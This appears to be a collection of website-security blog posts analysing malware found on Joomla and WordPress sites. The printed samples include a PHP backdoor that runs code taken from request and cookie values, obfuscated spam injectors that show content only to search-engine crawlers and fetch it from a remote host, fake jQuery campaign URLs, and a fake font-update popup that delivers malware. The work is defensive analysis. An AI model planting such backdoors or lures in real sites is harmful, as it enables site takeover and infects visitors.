Fake Parameters Conceal a Backdoor

We found this backdoor in the middle of the logrss.php file that defined the JDocumentRendererRSS class.


...function jregisterClass() { // merge arrays $info = array_merge($_REQUEST,$_COOKIE);   // validate parameters  if ( !isset($info['mlg']) ) die( 'Restricted access' );   else $info['feed']($info['file'], $info['link'].'"'.  $info['mlg'].'"'.$info['title'], $info['file'][1]);}/*  Pass the feed data   @access public  @return string /jregisterClass( 'onAfterStart', 'JDocumentRendererRSS' );function JDocumentRendererRSSdata($data){...

The code looks very natural until you check what it does.

jregisterClass( 'onAfterStart', 'JDocumentRendererRSS' );

This code looks like it registers the legitimate JDocumentRendererRSS class to be used after starting the application/plugin, right?

There is really a onAfterStart trigger for Joomla mambots but it is used in a different context–and what’s more important–there is no standard jregisterClass function. However, that very file defines its own jregisterClass function (you can see this in the first snippet).

That function doesn’t define any parameters though. It turns out, in PHP you can pass as many fake parameters as you want and the function will only use the ones that it expects. So the 'onAfterStart', 'JDocumentRendererRSS' parameters are just a red herring.

The function itself is a classic backdoor. Its code uses cookies and values of the POST, GET parameters to execute arbitrary PHP code.

This type of backdoor is very easy to miss when you manually inspect the files. That’s why integrity control monitoring is very important. It helps you identify modified files and in best cases, shows exactly what has been changed.

If you're having difficulty identifying malicious code on your website, our team can help.

Spam Injector Disguised as a License Key

A client reported some weird spam URLs injected on their WordPress website and after an investigation, it turned out that the hacker was hiding the encoded spam injector malware in the following theme file:

./wp-content/themes/toolbox/functions.php

The hacker formatted the encoded injector to look like a theme’s license key trying to distract eyes from suspecting this code and finding the malware:

/**
 * Theme personal token soft descriptor.
 */
function theme_personal_token() {
    // Your personal token key #00118
    $token = <<<KEY
eyJsaWNlbnNlIjoiY3JlYXRlX2Z1bmN0aW9uIiwiYWNjb3VudCI6IiR4IiwidGhlbWUiOiJldmFs
KFwiPz5cIi5nemluZmxhdGUoYmFzZTY0X2RlY29kZSgkeCkpKTsiLCJ1cGRhdGUiOiJiWkY3YzZK
SUZNV1wvaXV0UWcxYXlHdkU5eG14RUVCXC9CRnhBbGxrVzEwa2hMODdDN0llcVE3NzQ0czdzMTJk
MFwvNzdtbjd2MmRleFwvXC9pTndveFwvbmRJdzBEeTRiNzBJYUZ3eFVGRGdZTUZuYUF3a2J0YjUz
...
ZlBsemhjNHZNNXlpNFlkdk5SU0JGRFlmQU43R2lJWXdZN0dEcnMyK1wvdGRyc1ZuVHY1cDh3UFN2
eGpHVHp4blkrUFhcL1phODVtbWJcL2lJM3hhXC9mdjFISEl4ZVpHMlRkXC9MYlRUNEFQc3h2XC94
MUU2eTlIY1wvMkhjZHBUNVN3TTUzUnRSRzd1Mnd0S3Ywd3VcL2RcL0FUaGJzczg3OHlQcXJsd0Ur
STJyRkVRNkJEVzNMUVRpYmlqT0laejlNNEg4YTk1eFQ3RHl6TUw1ZHpybVwvcVQ1RFAwbUtXZUNQ
UHdFPSJ9
KEY;
    if( $token = json_decode( base64_decode( $token ), true ) ) {
        $token['license'] = $token['license']( $token['account'], $token['theme'] );
        $token['license']( $token['update'] );
    }
}
add_action( 'wp_footer', 'theme_personal_token' );

The injected code contained a few layers of encoding to further obfuscate it from detection, but we can begin by decoding the base64-encoded text within the $token variable:

{"license":"create_function","account":"$x","theme":"eval(\"?>\".gzinflate(base64_decode($x)));","update":"bZF7c6JIFMW\/iutQg1ayGvE9xmxEEB\/BFxAllkW10khL87C7IeqQ7744s7s12d0\/77mn7v2dex\/\/iNwox\/ndIw0Dy4b70IaFwxUFDgYMFnaAwkbtb53Hry+7HVUP0lx4nagtPB4IRHPoKhp5WgUfpso0WEwmpNG8zDzQjNv6UDhLZ+iY1VmtIpPVsG43kDR8d+vjiUJG7eVUqRwNJYjkPdbvjn2g...skipped...\/LbTT4APsxv\/x1E6y9Hc\/2HcdpT5SwM53RtRG7u2wtKv0wu\/d\/AThbss878yPqrlwE+I2rFEQ6BDW3LQTibijOIZz9M4H8a95xT7DyzML5dzrm\/qT5DP0mKWeCPPwE="}

As shown by the above decoded content, we can see that the hacker is still trying to disguise the malware as a type of licensing key for a theme.

This conditional if statement also checked for the user agents, showing the spam URLs to any and all other user agents/search engines except the ones shown below. It tried to hide it from some web-based link-analyzing tools as it may be cached by such tools and the client may be notified:

if(!preg_match('#ia_archiver|Baidu|MJ12|Ezooms|Solomono|roger|Linkpad|Semrush|prodvigator|Survey|Alexi|Xenu|Ahrefs|serpstat|Yandex#i', $k)

The final decoded payload with hidden links as it would appear within the HTML source:

<a href="hps://credit-10[.]com/no/komplett-bank-logg-inn/" style="position:absolute;left:-9998px;">komplett bank min side</a><a href="hxxp://emporium[.]com.ua/answear" style="position:absolute;left:-9998px;">промокод ансвер</a><a href="hxxps://evehealth[.]ru/promokody/shops/promokody-onetwotrip" style="position:absolute;left:-9998px;">onetwotrip промокод</a><a href="hxxps://promocodius[.]com/us/shops/iherb" style="position:absolute;left:-9998px;">iherb coupon</a>

The links are hard-coded inside this malware, but on different sites they may be different. The domains of the spammy sites remain mostly the same though.

Let us know if you see or suspect any weird behavior on your website and we will be happy to investigate and clean it for you.

Array string obfuscation

We continue to see an increase in the number of these PHP injections that use multiple obfuscation methods to evade detection, but lately one method has been increasingly utilized:

$GZN = "aT7k JdM_0VN5/Y1qQt
ym'oL*eIGS:c+ZhCbpREi)63rHBzDsXxOfKw;,.Wvn4=(lu9UjgF8AP2";
$hfl = $GZN[31].$GZN[0].$GZN[65].$GZN[65].$GZN[8].$GZN[66].$GZN[49].$GZN[26].$GZN[44].$GZN[8].$GZN[53].$GZN[66].$GZN[61].$GZN[31];
$fMk = $GZN[31].$GZN[44].$GZN[26].$GZN[0].$GZN[18].$GZN[26].$GZN[8].$GZN[53].$GZN[66].$GZN[61].$GZN[31].$GZN[18].$GZN[40].$GZN[23].$GZN[61]...

This obfuscation method uses a variable ($GZN) to store a long string of characters that look as if they could be encoded or encrypted as they are unintelligible usually. A second variable, ($hfl), is then created and assigned PHP code that is generated by using the first $GZN long string and specific numbers that correspond to the string array's indices or characters in this case. We end up with the function call_user_func after deobfuscating the $hfl variable, which you can see yourself by looking up the corresponding string value for the $GZN[ numbers (i.e 31 matches to character c - just remember the array starts at 0 so in the string the character c is actually the 32nd position). This process is repeated for the other variables as there are little to no PHP functions in plain text.

After repeating the process to deobfuscate all the other variables, we end up with the following - which looks to be where the actual action happens:

@$hfl($fMk($JLU,$GAa($Fd3($GZN[22].$GZN[33].$GZN[14].$GZN[13].$GZN[46].$GZN[29].$GZN[72].$GZN[7].$GZN[55].$GZN[28].$GZN[7].$GZN[50].$GZN[13].$GZN[65].$GZN[6].$GZN[73].$GZN[11].$GZN[3].$GZN[9].$GZN[46]

We can use the same method as before to deobfuscate the above PHP code to something more readable:

call_user_func(create_function(gzinflate(base64_decode('\''.'ZY/BS8MwGMX/ldANk0BpLx7E0dkdil4cMqsXGeFbmyahaVKar+Iw/u9uzIPi6fHj8R7vmY6wcpykEgNgoxldKO+VlXEILh6MUxEswrsJCBFCH4+gvY/g7cLQlJRL8VztXqvdG32o6yfxciKxua+2Nd1z/rnU7TUpSMBJwiAa71B+oGhOhJLBNMGRUY040mL9Q2gG6WekpFiTG875ishGe1J2xkqhJF5KHAaWnIO3ed6qHoINrc7CnFvX590hG/V41xZJ9mveRcV281jRfZZczX/tf+tT0oENMiXnD3z19Q0='.'\''))),'1','1');

The final step is to just deobfuscate the actual malicious payload of the file, which in this case is just gz compressed and encoded with base64, so either using a tool or just PHP code will allow you to deobfuscate it quickly:

if (@preg_match('#google|msn|bing|altavista|ask|yahoo|aol#i', @$_SERVER['HTTP_USER_AGENT'])){
    $hd4 = stream_context_create(array('http'=>array('timeout' => 8))); echo @file_get_contents("http://[redacted]/lnk/fb.php?d=".@$_SERVER['SERVER_NAME']."&u=".@$_SERVER['HTTP_USER_AGENT'], false, $hd4);
    }

It turns out to be another SEO spam injection targeting search engine crawler user-agents and serving them specific URLs that they wish to increase in their rankings or keywords, however in this case it happened to be hidden under layers of obfuscation to help avoid any detection.

Side Effects of the Site_url Hack

We\'ve been cleaning many sites infected by the so-called site_url hack–the result of the WP GDPR Compliance plugin vulnerability. The sites are broken because their static resource links point to some third party site. However, this is not the only issue.

If a user starts to make changes in their WordPress settings or some plugin regularly updates them, chances are the changes will be affected by the new value of the site_url option. In such cases, you’ll have to search the whole WordPress database (or at least the wp_options table) and files on the server for the rogue site_url value in order to revert the changes.****

For example, this is what your site’s .htaccess file may end up looking like after this hack:

# MediaAce Rules - Hotlink protection
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} !/wp-content/plugins/media-ace/assets/hotlink-placeholder.png$
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?wtools.io/code/raw/so? [NC]
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?facebook\.com [NC]
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?google\.*$/.* [NC]
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?pinterest\.*$/.* [NC]
RewriteRule \.(jpg|jpeg|png|gif)$ hxxp://wtools[.]io/code/raw/so?/wp-content/plugins/media-ace/assets/hotlink-placeholder.png [NC,R,L]
</IfModule>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /code/raw/so/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /code/raw/so/index.php [L]
</IfModule>

# END WordPress

As you can guess, in this case, hackers changed the site_url to hxxp://wtools[.]io/code/raw/so?, so the media-ace plugin and main WordPress rewrite rules were corrupted.

Fake Wp.org/jquery.js

There is a long-lasting malware campaign (dating back to at least 2016) that injects fake jQuery scripts:

<script type="text/javascript" src="hxxps://www.XX[X]wp[.]org/jquery.js"></script>

Where XX[X] are 2 or 3 random characters.

This Twitter thread mentions some of them:


We’ve compiled a longer list of the fake jQuery URLs employed by this campaign, along with numbers of websites PublicWWW currently finds them on:

  • www.9iwp[.]org/jquery.js - 6473
  • www.34wp[.]org/jquery.js - 2830
  • www.3vwp[.]org/jquery.js - 2552
  • www.7owp[.]org/jquery.js - 1248
  • www.57wp[.]org/jquery.js - 168
  • www.29wp[.]org/jquery.js - 115
  • www.j3wp[.]org/jquery.js - 85
  • www.i1wp[.]org/jquery.js - 51
  • www.i7wp[.]org/jquery.js - 17
  • www.x5wp[.]org/jquery.js - 12
  • www.i2wp[.]org/jquery.js - 8
  • www.35wp[.]org/jquery.js - 6
  • www.75wp[.]org/jquery.js - 4
  • www.10wp[.]org/jquery.js - 3
  • www.I0wp[.]org/jquery.js - 3
  • www.I3wp[.]org/jquery.js - 3
  • www.61wp[.]org/jquery.js - 3

Multi-Vector WordPress Infection from Examhome

This September, we’ve been seeing a massive infection wave that injects malicious JavaScript code into .js, .php files and the WordPress database.>

The script looks like this:

eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101,...skipped... 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125))

If you decode it, it injects scripts from hxxps://ads.voipnewswire[.]net/ad.js and later hxxps://examhome[.]net/stat.js?v=1.0.2. Some other related URLs are hxxps://cdn.allyouwant[.]online/main.js?t=c and hxxps://mp3menu[.]org/mp3.js,/b>.

Sometimes links to such scripts may be injected into wp_posts tables without any obfuscation whatsoever, e.g.

<script src='hxxps://cdn.examhome[.]net/cdn.js?ver=1.0.5' type='text/javascript'></script>

Many different attack vectors are being used in this campaign. The location of the malware varies a lot. The more common versions of this malware can be found in .js files that have jquery in their names. Or they are injected into settings of vulnerable WordPress themes and plugins, for example, very old tagDiv themes (Newspaper, Newsmag and their derivatives) or unpatched Smart Google Code Inserter plugin.

“Google Fonts” popup leads to malware

A recent malware injection in a client\'s WordPress file was found to be targeting website visitors that were using the Google Chrome browser to access the infected website. It uses Javascript to detect the visitor\'s use of Google Chrome and then upon the visitor clicking it generates a popup notification which falsely claims that the visitor\'s Google Chrome is missing the HoeflerText font and that it is preventing the website from loading correctly.

It then instructs the website visitor to click a button on the popup notification - which then ends with a serious Azorult malicious .exe being downloaded to the website visitor\'s machine. It looks like this specific Azorult malware family was recently updated and it seems to currently have a detection rate of under 50% for major anti-virus softwares.


The \"HoeflerText\" font wasn't found.

The web page you are trying to load is displayed incorrectly, as it uses the \"HoeflerText\" font. To fix the error and display the text, you have to update the \"Chrome Font Pack\".

Step 1: In the bottom left corner of the screen you'll see the download bar. Click on the Chrome_Font.exe item.
Step 2: Press Yes(Run) in order to see the correct content on the web page.

Manufacturer:   Google Inc. All Rights Reserved
Current version:    Chrome Font Pack 53.0.2785.89
Latest version: Chrome Font Pack 57.2.5284.21

Update